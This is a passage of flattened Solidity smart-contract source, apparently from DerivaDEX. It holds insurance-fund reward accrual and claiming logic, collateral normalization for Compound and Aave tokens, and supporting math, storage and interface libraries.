(InsuranceFundDefs.DDXClaimantState memory) { LibDiamondStorageInsuranceFund.DiamondStorageInsuranceFund storage dsInsuranceFund = LibDiamondStorageInsuranceFund.diamondStorageInsuranceFund(); return dsInsuranceFund.ddxClaimantState[_claimant]; } /** * @notice This function gets a supported collateral type's data, * including collateral's token addresses, collateral * flavor/type, current cap and withdrawal amounts, the * latest checkpointed cap, and exchange rate (for cTokens). * An interface for the DerivaDEX Insurance Fund token * corresponding to this collateral is also maintained. * @param _collateralName Name of collateral. * @return Stake collateral. */ function getStakeCollateralByCollateralName(bytes32 _collateralName) external view returns (InsuranceFundDefs.StakeCollateral memory) { LibDiamondStorageInsuranceFund.DiamondStorageInsuranceFund storage dsInsuranceFund = LibDiamondStorageInsuranceFund.diamondStorageInsuranceFund(); return dsInsuranceFund.stakeCollaterals[_collateralName]; } /** * @notice This function gets unclaimed DDX rewards for a claimant. * @param _claimant Claimant address. * @return Unclaimed DDX rewards. */ function getUnclaimedDDXRewards(address _claimant) external view returns (uint96) { LibDiamondStorageInsuranceFund.DiamondStorageInsuranceFund storage dsInsuranceFund = LibDiamondStorageInsuranceFund.diamondStorageInsuranceFund(); // Number of blocks that have elapsed from the last protocol // interaction resulting in DDX accrual. If insurance mining // has ended, we use this as the reference point, so deltaBlocks // will be 0 from the second time onwards. uint256 deltaBlocks = Math.min(block.number, dsInsuranceFund.miningFinalBlockNumber).sub(dsInsuranceFund.ddxMarketState.block); // Save off last index value uint256 index = dsInsuranceFund.ddxMarketState.index; // If number of blocks elapsed and mine rate per block are // non-zero if (deltaBlocks > 0 && dsInsuranceFund.mineRatePerBlock > 0) { // Maintain a running total of USDT-normalized claim tokens // (i.e. 1e6 multiplier) uint256 claimTokens; // Loop through each of the supported collateral types for (uint256 i = 0; i < dsInsuranceFund.collateralNames.length; i++) { // Obtain the collateral struct for the collateral type // participant is staking InsuranceFundDefs.StakeCollateral storage stakeCollateral = dsInsuranceFund.stakeCollaterals[dsInsuranceFund.collateralNames[i]]; // Increment the USDT-normalized claim tokens count with // the current total supply claimTokens = claimTokens.add( getNormalizedCollateralValue( dsInsuranceFund.collateralNames[i], stakeCollateral.diFundToken.totalSupply().safe96("IFund: exceeds 96 bits") ) ); } // Compute DDX accrued during the time elapsed and the // number of tokens accrued per claim token outstanding uint256 ddxAccrued = deltaBlocks.mul(dsInsuranceFund.mineRatePerBlock); uint256 ratio = claimTokens > 0 ? ddxAccrued.mul(1e36).div(claimTokens) : 0; // Increment the index index = index.add(ratio); } // Obtain the most recent claimant index uint256 ddxClaimantIndex = dsInsuranceFund.ddxClaimantState[_claimant].index; // If the claimant index is 0, i.e. it's the user's first time // interacting with the protocol, initialize it to this starting // value if ((ddxClaimantIndex == 0) && (index > 0)) { ddxClaimantIndex = 1e36; } // Maintain a running total of USDT-normalized claimant tokens // (i.e. 1e6 multiplier) uint256 claimantTokens; // Loop through each of the supported collateral types for (uint256 i = 0; i < dsInsuranceFund.collateralNames.length; i++) { // Obtain the collateral struct for the collateral type // participant is staking InsuranceFundDefs.StakeCollateral storage stakeCollateral = dsInsuranceFund.stakeCollaterals[dsInsuranceFund.collateralNames[i]]; // Increment the USDT-normalized claimant tokens count with // the current balance claimantTokens = claimantTokens.add( getNormalizedCollateralValue( dsInsuranceFund.collateralNames[i], stakeCollateral.diFundToken.balanceOf(_claimant).safe96("IFund: exceeds 96 bits") ) ); } // Compute the unclaimed DDX based on the number of claimant // tokens and the difference between the user's index and the // claimant index computed above return claimantTokens.mul(index.sub(ddxClaimantIndex)).div(1e36).safe96("IFund: exceeds 96 bits"); } /** * @notice Calculate DDX accrued by a claimant and possibly transfer * it to them. * @param _claimant The address of the claimant. */ function claimDDXFromInsuranceMining(address _claimant) public { LibDiamondStorageInsuranceFund.DiamondStorageInsuranceFund storage dsInsuranceFund = LibDiamondStorageInsuranceFund.diamondStorageInsuranceFund(); // Update the DDX Market State in order to determine the amount of // rewards that should be paid to the claimant. updateDDXMarketState(dsInsuranceFund); // Obtain the most recent claimant index uint256 ddxClaimantIndex = dsInsuranceFund.ddxClaimantState[_claimant].index; dsInsuranceFund.ddxClaimantState[_claimant].index = dsInsuranceFund.ddxMarketState.index; // If the claimant index is 0, i.e. it's the user's first time // interacting with the protocol, initialize it to this starting // value if ((ddxClaimantIndex == 0) && (dsInsuranceFund.ddxMarketState.index > 0)) { ddxClaimantIndex = 1e36; } // Compute the difference between the latest DDX market state // index and the claimant's index uint256 deltaIndex = uint256(dsInsuranceFund.ddxMarketState.index).sub(ddxClaimantIndex); // Maintain a running total of USDT-normalized claimant tokens // (i.e. 1e6 multiplier) uint256 claimantTokens; // Loop through each of the supported collateral types for (uint256 i = 0; i < dsInsuranceFund.collateralNames.length; i++) { // Obtain the collateral struct for the collateral type // participant is staking InsuranceFundDefs.StakeCollateral storage stakeCollateral = dsInsuranceFund.stakeCollaterals[dsInsuranceFund.collateralNames[i]]; // Increment the USDT-normalized claimant tokens count with // the current balance claimantTokens = claimantTokens.add( getNormalizedCollateralValue( dsInsuranceFund.collateralNames[i], stakeCollateral.diFundToken.balanceOf(_claimant).safe96("IFund: exceeds 96 bits") ) ); } // Compute the claimed DDX based on the number of claimant // tokens and the difference between the user's index and the // claimant index computed above uint96 claimantDelta = claimantTokens.mul(deltaIndex).div(1e36).safe96("IFund: exceeds 96 bits"); if (claimantDelta != 0) { // Adjust insurance mined amount dsInsuranceFund.minedAmount = dsInsuranceFund.minedAmount.add96(claimantDelta); // Increment the insurance mined claimed DDX for claimant dsInsuranceFund.ddxClaimantState[_claimant].claimedDDX = dsInsuranceFund.ddxClaimantState[_claimant] .claimedDDX .add96(claimantDelta); // Mint the DDX governance/operational token claimed reward // from the proxy contract to the participant LibTraderInternal.issueDDXReward(claimantDelta, _claimant); } // Check if COMP or aTokens have not already been claimed if (dsInsuranceFund.stakerToOtherRewardsClaims[_claimant] < dsInsuranceFund.otherRewardsCheckpointBlock) { // Record the current block number preventing a user from // reclaiming the COMP reward unfairly dsInsuranceFund.stakerToOtherRewardsClaims[_claimant] = block.number; // Claim COMP and extra aTokens claimOtherRewardsFromInsuranceMining(_claimant); } emit InsuranceMineRewardsClaimed(_claimant, claimantDelta); } /** * @notice Get USDT-normalized collateral token amount. * @param _collateralName The collateral name. * @param _value The number of tokens. */ function getNormalizedCollateralValue(bytes32 _collateralName, uint96 _value) public view returns (uint96) { LibDiamondStorageInsuranceFund.DiamondStorageInsuranceFund storage dsInsuranceFund = LibDiamondStorageInsuranceFund.diamondStorageInsuranceFund(); InsuranceFundDefs.StakeCollateral storage stakeCollateral = dsInsuranceFund.stakeCollaterals[_collateralName]; return (stakeCollateral.flavor != InsuranceFundDefs.Flavor.Compound) ? getUnderlyingTokenAmountForVanilla(_value, stakeCollateral.collateralToken) : getUnderlyingTokenAmountForCompound( _value, ICToken(stakeCollateral.collateralToken).exchangeRateStored() ); } /** * @notice This function gets a participant's current * USD-normalized/denominated stake and global * USD-normalized/denominated stake across all supported * collateral types. * @param _staker Participant's address. * @return Current USD redemption value of DIFund tokens staked. * @return Current USD global cap. */ function getCurrentTotalStakes(address _staker) public view returns (uint96, uint96) { LibDiamondStorageInsuranceFund.DiamondStorageInsuranceFund storage dsInsuranceFund = LibDiamondStorageInsuranceFund.diamondStorageInsuranceFund(); // Maintain running totals uint96 normalizedStakerStakeSum; uint96 normalizedGlobalCapSum; // Loop through each supported collateral for (uint256 i = 0; i < dsInsuranceFund.collateralNames.length; i++) { (, , uint96 normalizedStakerStake, uint96 normalizedGlobalCap) = getCurrentStakeByCollateralNameAndStaker(dsInsuranceFund.collateralNames[i], _staker); normalizedStakerStakeSum = normalizedStakerStakeSum.add96(normalizedStakerStake); normalizedGlobalCapSum = normalizedGlobalCapSum.add96(normalizedGlobalCap); } return (normalizedStakerStakeSum, normalizedGlobalCapSum); } /** * @notice This function gets a participant's current DIFund token * holdings and global DIFund token holdings for a * collateral type and staker, in addition to the * USD-normalized collateral in the system and the * redemption value for the staker. * @param _collateralName Name of collateral. * @param _staker Participant's address. * @return DIFund tokens for staker. * @return DIFund tokens globally. * @return Redemption value for staker (USD-denominated). * @return Underlying collateral (USD-denominated) in staking system. */ function getCurrentStakeByCollateralNameAndStaker(bytes32 _collateralName, address _staker) public view returns ( uint96, uint96, uint96, uint96 ) { LibDiamondStorageInsuranceFund.DiamondStorageInsuranceFund storage dsInsuranceFund = LibDiamondStorageInsuranceFund.diamondStorageInsuranceFund(); InsuranceFundDefs.StakeCollateral storage stakeCollateral = dsInsuranceFund.stakeCollaterals[_collateralName]; // Get DIFund tokens for staker uint96 stakerStake = stakeCollateral.diFundToken.balanceOf(_staker).safe96("IFund: exceeds 96 bits."); // Get DIFund tokens globally uint96 globalCap = stakeCollateral.diFundToken.totalSupply().safe96("IFund: exceeds 96 bits."); // Compute global USD-denominated stake capitalization. This is // is straightforward for non-Compound assets, but requires // exchange rate conversion for Compound assets. uint96 normalizedGlobalCap = (stakeCollateral.flavor != InsuranceFundDefs.Flavor.Compound) ? getUnderlyingTokenAmountForVanilla(stakeCollateral.cap, stakeCollateral.collateralToken) : getUnderlyingTokenAmountForCompound( stakeCollateral.cap, ICToken(stakeCollateral.collateralToken).exchangeRateStored() ); // Compute the redemption value (USD-normalized) for staker // given DIFund token holdings uint96 normalizedStakerStake = globalCap > 0 ? normalizedGlobalCap.proportion96(stakerStake, globalCap) : 0; return (stakerStake, globalCap, normalizedStakerStake, normalizedGlobalCap); } /** * @notice This function gets a participant's DIFund token * holdings and global DIFund token holdings for Compound * and Aave tokens for a collateral type and staker as of * the checkpointed block, in addition to the * USD-normalized collateral in the system and the * redemption value for the staker. * @param _collateralName Name of collateral. * @param _staker Participant's address. * @return DIFund tokens for staker. * @return DIFund tokens globally. * @return Redemption value for staker (USD-denominated). * @return Underlying collateral (USD-denominated) in staking system. */ function getOtherRewardsStakeByCollateralNameAndStaker(bytes32 _collateralName, address _staker) public view returns ( uint96, uint96, uint96, uint96 ) { LibDiamondStorageInsuranceFund.DiamondStorageInsuranceFund storage dsInsuranceFund = LibDiamondStorageInsuranceFund.diamondStorageInsuranceFund(); InsuranceFundDefs.StakeCollateral storage stakeCollateral = dsInsuranceFund.stakeCollaterals[_collateralName]; // Get DIFund tokens for staker as of the checkpointed block uint96 stakerStake = stakeCollateral.diFundToken.getPriorValues(_staker, dsInsuranceFund.otherRewardsCheckpointBlock.sub(1)); // Get DIFund tokens globally as of the checkpointed block uint96 globalCap = stakeCollateral.diFundToken.getTotalPriorValues(dsInsuranceFund.otherRewardsCheckpointBlock.sub(1)); // If Aave, don't worry about the normalized values since 1-1 if (stakeCollateral.flavor == InsuranceFundDefs.Flavor.Aave) { return (stakerStake, globalCap, 0, 0); } // Compute global USD-denominated stake capitalization. This is // is straightforward for non-Compound assets, but requires // exchange rate conversion for Compound assets. uint96 normalizedGlobalCap = getUnderlyingTokenAmountForCompound(stakeCollateral.checkpointCap, stakeCollateral.exchangeRate); // Compute the redemption value (USD-normalized) for staker // given DIFund token holdings uint96 normalizedStakerStake = globalCap > 0 ? normalizedGlobalCap.proportion96(stakerStake, globalCap) : 0; return (stakerStake, globalCap, normalizedStakerStake, normalizedGlobalCap); } /** * @notice Claim other rewards (COMP and aTokens) for a claimant. * @param _claimant The address for the claimant. */ function claimOtherRewardsFromInsuranceMining(address _claimant) internal { LibDiamondStorageInsuranceFund.DiamondStorageInsuranceFund storage dsInsuranceFund = LibDiamondStorageInsuranceFund.diamondStorageInsuranceFund(); // Maintain a running total of COMP to be claimed from // insurance mining contract as a by product of cToken deposits uint96 compClaimedAmountSum; // Loop through collateral names that are supported for (uint256 i = 0; i < dsInsuranceFund.collateralNames.length; i++) { // Obtain collateral struct under consideration InsuranceFundDefs.StakeCollateral storage stakeCollateral = dsInsuranceFund.stakeCollaterals[dsInsuranceFund.collateralNames[i]]; if (stakeCollateral.flavor == InsuranceFundDefs.Flavor.Vanilla) { // If collateral is of Vanilla flavor, we just // continue... continue; } // Compute the DIFund token holdings and the normalized, // USDT-normalized collateral value for the user (uint96 collateralStaker, uint96 collateralTotal, uint96 normalizedCollateralStaker, ) = getOtherRewardsStakeByCollateralNameAndStaker(dsInsuranceFund.collateralNames[i], _claimant); if ((collateralTotal == 0) || (collateralStaker == 0)) { // If there are no DIFund tokens, there is no reason to // claim rewards, so we continue... continue; } if (stakeCollateral.flavor == InsuranceFundDefs.Flavor.Aave) { // Aave has a special circumstance, where every // aToken results in additional aTokens accruing // to the holder's wallet. In this case, this is // the DerivaDEX contract. Therefore, we must // appropriately distribute the extra aTokens to // users claiming DDX for their aToken deposits. transferTokensAave(_claimant, dsInsuranceFund.collateralNames[i], collateralStaker, collateralTotal); } else if (stakeCollateral.flavor == InsuranceFundDefs.Flavor.Compound) { // If collateral is of type Compound, determine the // COMP claimant is entitled to based on the COMP // yield for this interval, the claimant's // DIFundToken share, and the USD-denominated // share for this market. uint96 compClaimedAmount = dsInsuranceFund.compYields.accrued.proportion96( normalizedCollateralStaker, dsInsuranceFund.compYields.totalNormalizedCap ); // Increment the COMP claimed sum to be paid out // later compClaimedAmountSum = compClaimedAmountSum.add96(compClaimedAmount); } } // Distribute any COMP to be shared with the user if (compClaimedAmountSum > 0) { transferTokensCompound(_claimant, compClaimedAmountSum); } } /** * @notice This function transfers extra Aave aTokens to claimant. */ function transferTokensAave( address _claimant, bytes32 _collateralName, uint96 _aaveStaker, uint96 _aaveTotal ) internal { LibDiamondStorageInsuranceFund.DiamondStorageInsuranceFund storage dsInsuranceFund = LibDiamondStorageInsuranceFund.diamondStorageInsuranceFund(); // Obtain collateral struct under consideration InsuranceFundDefs.StakeCollateral storage stakeCollateral = dsInsuranceFund.stakeCollaterals[_collateralName]; uint96 aTokenClaimedAmount = dsInsuranceFund.aTokenYields[_collateralName].accrued.proportion96(_aaveStaker, _aaveTotal); // Continues in scenarios token transfer fails (such as // transferring 0 tokens) try IAToken(stakeCollateral.collateralToken).transfer(_claimant, aTokenClaimedAmount) {} catch {} } /** * @notice This function transfers COMP tokens from the contract to * a recipient. * @param _amount Amount of COMP to receive. */ function transferTokensCompound(address _claimant, uint96 _amount) internal { // Continues in scenarios token transfer fails (such as // transferring 0 tokens) try COMP_TOKEN.transfer(_claimant, _amount) {} catch {} } /** * @notice Updates the DDX market state to ensure that claimants can receive * their earned DDX rewards. */ function updateDDXMarketState(LibDiamondStorageInsuranceFund.DiamondStorageInsuranceFund storage dsInsuranceFund) internal { // Number of blocks that have elapsed from the last protocol // interaction resulting in DDX accrual. If insurance mining // has ended, we use this as the reference point, so deltaBlocks // will be 0 from the second time onwards. uint256 endBlock = Math.min(block.number, dsInsuranceFund.miningFinalBlockNumber); uint256 deltaBlocks = endBlock.sub(dsInsuranceFund.ddxMarketState.block); // If number of blocks elapsed and mine rate per block are // non-zero if (deltaBlocks > 0 && dsInsuranceFund.mineRatePerBlock > 0) { // Maintain a running total of USDT-normalized claim tokens // (i.e. 1e6 multiplier) uint256 claimTokens; // Loop through each of the supported collateral types for (uint256 i = 0; i < dsInsuranceFund.collateralNames.length; i++) { // Obtain the collateral struct for the collateral type // participant is staking InsuranceFundDefs.StakeCollateral storage stakeCollateral = dsInsuranceFund.stakeCollaterals[dsInsuranceFund.collateralNames[i]]; // Increment the USDT-normalized claim tokens count with // the current total supply claimTokens = claimTokens.add( getNormalizedCollateralValue( dsInsuranceFund.collateralNames[i], stakeCollateral.diFundToken.totalSupply().safe96("IFund: exceeds 96 bits") ) ); } // Compute DDX accrued during the time elapsed and the // number of tokens accrued per claim token outstanding uint256 ddxAccrued = deltaBlocks.mul(dsInsuranceFund.mineRatePerBlock); uint256 ratio = claimTokens > 0 ? ddxAccrued.mul(1e36).div(claimTokens) : 0; // Increment the index uint256 index = uint256(dsInsuranceFund.ddxMarketState.index).add(ratio); // Update the claim ddx market state with the new index // and block dsInsuranceFund.ddxMarketState.index = index.safe224("IFund: exceeds 224 bits"); dsInsuranceFund.ddxMarketState.block = endBlock.safe32("IFund: exceeds 32 bits"); } else if (deltaBlocks > 0) { dsInsuranceFund.ddxMarketState.block = endBlock.safe32("IFund: exceeds 32 bits"); } } /** * @notice This function checks if a collateral token is present. * @param _collateralToken Collateral token address. * @return Whether collateral token is present or not. */ function isCollateralTokenPresent(address _collateralToken) internal view returns (bool) { LibDiamondStorageInsuranceFund.DiamondStorageInsuranceFund storage dsInsuranceFund = LibDiamondStorageInsuranceFund.diamondStorageInsuranceFund(); for (uint256 i = 0; i < dsInsuranceFund.collateralNames.length; i++) { // Return true if collateral token has been added if ( dsInsuranceFund.stakeCollaterals[dsInsuranceFund.collateralNames[i]].collateralToken == _collateralToken ) { return true; } } // Collateral token has not been added, return false return false; } /** * @notice This function computes the underlying token amount for a * vanilla token. * @param _vanillaAmount Number of vanilla tokens. * @param _collateral Address of vanilla collateral. * @return Underlying token amount. */ function getUnderlyingTokenAmountForVanilla(uint96 _vanillaAmount, address _collateral) internal view returns (uint96) { uint256 vanillaDecimals = uint256(IERCCustom(_collateral).decimals()); if (vanillaDecimals >= 6) { return uint256(_vanillaAmount).div(10**(vanillaDecimals.sub(6))).safe96("IFund: amount exceeds 96 bits"); } return uint256(_vanillaAmount).mul(10**(uint256(6).sub(vanillaDecimals))).safe96("IFund: amount exceeds 96 bits"); } /** * @notice This function computes the underlying token amount for a * cToken amount by computing the current exchange rate. * @param _cTokenAmount Number of cTokens. * @param _exchangeRate Exchange rate derived from Compound. * @return Underlying token amount. */ function getUnderlyingTokenAmountForCompound(uint96 _cTokenAmount, uint256 _exchangeRate) internal pure returns (uint96) { return _exchangeRate.mul(_cTokenAmount).div(1e18).safe96("IFund: amount exceeds 96 bits."); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath32 { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add32(uint32 a, uint32 b) internal pure returns (uint32) { uint32 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub32(uint32 a, uint32 b) internal pure returns (uint32) { return sub32(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub32( uint32 a, uint32 b, string memory errorMessage ) internal pure returns (uint32) { require(b <= a, errorMessage); uint32 c = a - b; return c; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import { SafeMath } from "openzeppelin-solidity/contracts/math/SafeMath.sol"; import { Math } from "openzeppelin-solidity/contracts/math/Math.sol"; import { SafeMath96 } from "./SafeMath96.sol"; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library MathHelpers { using SafeMath96 for uint96; using SafeMath for uint256; function proportion96( uint96 a, uint256 b, uint256 c ) internal pure returns (uint96) { return safe96(uint256(a).mul(b).div(c), "Amount exceeds 96 bits"); } function safe96(uint256 n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe224(uint256 n, string memory errorMessage) internal pure returns (uint224) { require(n < 2**224, errorMessage); return uint224(n); } /** * @dev Returns the largest of two numbers. */ function clamp96( uint96 a, uint256 b, uint256 c ) internal pure returns (uint96) { return safe96(Math.min(Math.max(a, b), c), "Amount exceeds 96 bits"); } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import { IDIFundToken } from "../../tokens/interfaces/IDIFundToken.sol"; /** * @title InsuranceFundDefs * @author DerivaDEX * * This library contains the common structs and enums pertaining to * the insurance fund. */ library InsuranceFundDefs { // DDX market state maintaining claim index and last updated block struct DDXMarketState { uint224 index; uint32 block; } // DDX claimant state maintaining claim index and claimed DDX struct DDXClaimantState { uint256 index; uint96 claimedDDX; } // Supported collateral struct consisting of the collateral's token // addresses, collateral flavor/type, current cap and withdrawal // amounts, the latest checkpointed cap, and exchange rate (for // cTokens). An interface for the DerivaDEX Insurance Fund token // corresponding to this collateral is also maintained. struct StakeCollateral { address underlyingToken; address collateralToken; IDIFundToken diFundToken; uint96 cap; uint96 withdrawalFeeCap; uint96 checkpointCap; uint96 exchangeRate; Flavor flavor; } // Contains the yield accrued and the total normalized cap. // Total normalized cap is maintained for Compound flavors so COMP // distribution can be paid out properly struct ExternalYieldCheckpoint { uint96 accrued; uint96 totalNormalizedCap; } // Type of collateral enum Flavor { Vanilla, Compound, Aave } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import { InsuranceFundDefs } from "../libs/defs/InsuranceFundDefs.sol"; import { IDIFundTokenFactory } from "../tokens/interfaces/IDIFundTokenFactory.sol"; library LibDiamondStorageInsuranceFund { struct DiamondStorageInsuranceFund { // List of supported collateral names bytes32[] collateralNames; // Collateral name to stake collateral struct mapping(bytes32 => InsuranceFundDefs.StakeCollateral) stakeCollaterals; mapping(address => InsuranceFundDefs.DDXClaimantState) ddxClaimantState; // aToken name to yield checkpoints mapping(bytes32 => InsuranceFundDefs.ExternalYieldCheckpoint) aTokenYields; mapping(address => uint256) stakerToOtherRewardsClaims; // Interval to COMP yield checkpoint InsuranceFundDefs.ExternalYieldCheckpoint compYields; // Set the interval for other rewards claiming checkpoints // (i.e. COMP and aTokens that accrue to the contract) // (e.g. 40320 ~ 1 week = 7 * 24 * 60 * 60 / 15 blocks) uint32 interval; // Current insurance mining withdrawal factor uint32 withdrawalFactor; // DDX to be issued per block as insurance mining reward uint96 mineRatePerBlock; // Incentive to advance the insurance mining interval // (e.g. 100e18 = 100 DDX) uint96 advanceIntervalReward; // Total DDX insurance mined uint96 minedAmount; // Insurance fund capitalization due to liquidations and fees uint96 liqAndFeeCapitalization; // Checkpoint block for other rewards uint256 otherRewardsCheckpointBlock; // Insurance mining final block number uint256 miningFinalBlockNumber; InsuranceFundDefs.DDXMarketState ddxMarketState; IDIFundTokenFactory diFundTokenFactory; } bytes32 constant DIAMOND_STORAGE_POSITION_INSURANCE_FUND = keccak256("diamond.standard.diamond.storage.DerivaDEX.InsuranceFund"); function diamondStorageInsuranceFund() internal pure returns (DiamondStorageInsuranceFund storage ds) { bytes32 position = DIAMOND_STORAGE_POSITION_INSURANCE_FUND; assembly { ds_slot := position } } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; library LibDiamondStoragePause { struct DiamondStoragePause { bool isPaused; } bytes32 constant DIAMOND_STORAGE_POSITION_PAUSE = keccak256("diamond.standard.diamond.storage.DerivaDEX.Pause"); function diamondStoragePause() internal pure returns (DiamondStoragePause storage ds) { bytes32 position = DIAMOND_STORAGE_POSITION_PAUSE; assembly { ds_slot := position } } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; interface IAToken { function decimals() external returns (uint256); function transfer(address _recipient, uint256 _amount) external; function balanceOf(address _user) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; abstract contract IComptroller { struct CompMarketState { uint224 index; uint32 block; } /// @notice Indicator that this is a Comptroller contract (for inspection) bool public constant isComptroller = true; // solhint-disable-line const-name-snakecase // @notice The COMP market supply state for each market mapping(address => CompMarketState) public compSupplyState; /// @notice The COMP borrow index for each market for each supplier as of the last time they accrued COMP mapping(address => mapping(address => uint256)) public compSupplierIndex; /// @notice The portion of compRate that each market currently receives mapping(address => uint256) public compSpeeds; /// @notice The COMP accrued but not yet transferred to each user mapping(address => uint256) public compAccrued; /*** Assets You Are In ***/ function enterMarkets(address[] calldata cTokens) external virtual returns (uint256[] memory); function exitMarket(address cToken) external virtual returns (uint256); /*** Policy Hooks ***/ function mintAllowed( address cToken, address minter, uint256 mintAmount ) external virtual returns (uint256); function mintVerify( address cToken, address minter, uint256 mintAmount, uint256 mintTokens ) external virtual; function redeemAllowed( address cToken, address redeemer, uint256 redeemTokens ) external virtual returns (uint256); function redeemVerify( address cToken, address redeemer, uint256 redeemAmount, uint256 redeemTokens ) external virtual; function borrowAllowed( address cToken, address borrower, uint256 borrowAmount ) external virtual returns (uint256); function borrowVerify( address cToken, address borrower, uint256 borrowAmount ) external virtual; function repayBorrowAllowed( address cToken, address payer, address borrower, uint256 repayAmount ) external virtual returns (uint256); function repayBorrowVerify( address cToken, address payer, address borrower, uint256 repayAmount, uint256 borrowerIndex ) external virtual; function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint256 repayAmount ) external virtual returns (uint256); function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint256 repayAmount, uint256 seizeTokens ) external virtual; function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint256 seizeTokens ) external virtual returns (uint256); function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint256 seizeTokens ) external virtual; function transferAllowed( address cToken, address src, address dst, uint256 transferTokens ) external virtual returns (uint256); function transferVerify( address cToken, address src, address dst, uint256 transferTokens ) external virtual; /*** Liquidity/Liquidation Calculations ***/ function liquidateCalculateSeizeTokens( address cTokenBorrowed, address cTokenCollateral, uint256 repayAmount ) external virtual returns (uint256, uint256); function claimComp(address holder) public virtual; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; interface ICToken { function accrueInterest() external returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function balanceOfUnderlying(address owner) external returns (uint256); function borrowBalanceCurrent(address account) external returns (uint256); function exchangeRateCurrent() external returns (uint256); function seize( address liquidator, address borrower, uint256 seizeTokens ) external returns (uint256); function totalBorrowsCurrent() external returns (uint256); function transfer(address dst, uint256 amount) external returns (bool); function transferFrom( address src, address dst, uint256 amount ) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function borrowBalanceStored(address account) external view returns (uint256); function borrowRatePerBlock() external view returns (uint256); function decimals() external view returns (uint256); function exchangeRateStored() external view returns (uint256); function getAccountSnapshot(address account) external view returns ( uint256, uint256, uint256, uint256 ); function getCash() external view returns (uint256); function supplyRatePerBlock() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; /** * @title IDIFundToken * @author DerivaDEX (Borrowed/inspired from Compound) * @notice This is the native token contract for DerivaDEX. It * implements the ERC-20 standard, with additional * functionality to efficiently handle the governance aspect of * the DerivaDEX ecosystem. * @dev The contract makes use of some nonstandard types not seen in * the ERC-20 standard. The DDX token makes frequent use of the * uint96 data type, as opposed to the more standard uint256 type. * Given the maintenance of arrays of balances, allowances, and * voting checkpoints, this allows us to more efficiently pack * data together, thereby resulting in cheaper transactions. */ interface IDIFundToken { function transfer(address _recipient, uint256 _amount) external returns (bool); function mint(address _recipient, uint256 _amount) external; function burnFrom(address _account, uint256 _amount) external; function delegate(address _delegatee) external; function transferFrom( address _sender, address _recipient, uint256 _amount ) external returns (bool); function approve(address _spender, uint256 _amount) external returns (bool); function getPriorValues(address account, uint256 blockNumber) external view returns (uint96); function getTotalPriorValues(uint256 blockNumber) external view returns (uint96); function balanceOf(address _account) external view returns (uint256); function totalSupply() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import { DIFundToken } from "../DIFundToken.sol"; /** * @title DIFundToken * @author DerivaDEX (Borrowed/inspired from Compound) * @notice This is the token contract for tokenized DerivaDEX insurance * fund positions. It implements the ERC-20 standard, with * additional functionality around snapshotting user and global * balances. * @dev The contract makes use of some nonstandard types not seen in * the ERC-20 standard. The DIFundToken makes frequent use of the * uint96 data type, as opposed to the more standard uint256 type. * Given the maintenance of arrays of balances and allowances, this * allows us to more efficiently pack data together, thereby * resulting in cheaper transactions. */ interface IDIFundTokenFactory { function createNewDIFundToken( string calldata _name, string calldata _symbol, uint8 _decimals ) external returns (address); function diFundTokens(uint256 index) external returns (DIFundToken); function issuer() external view returns (address); function getDIFundTokens() external view returns (DIFundToken[] memory); function getDIFundTokensLength() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import { SafeMath } from 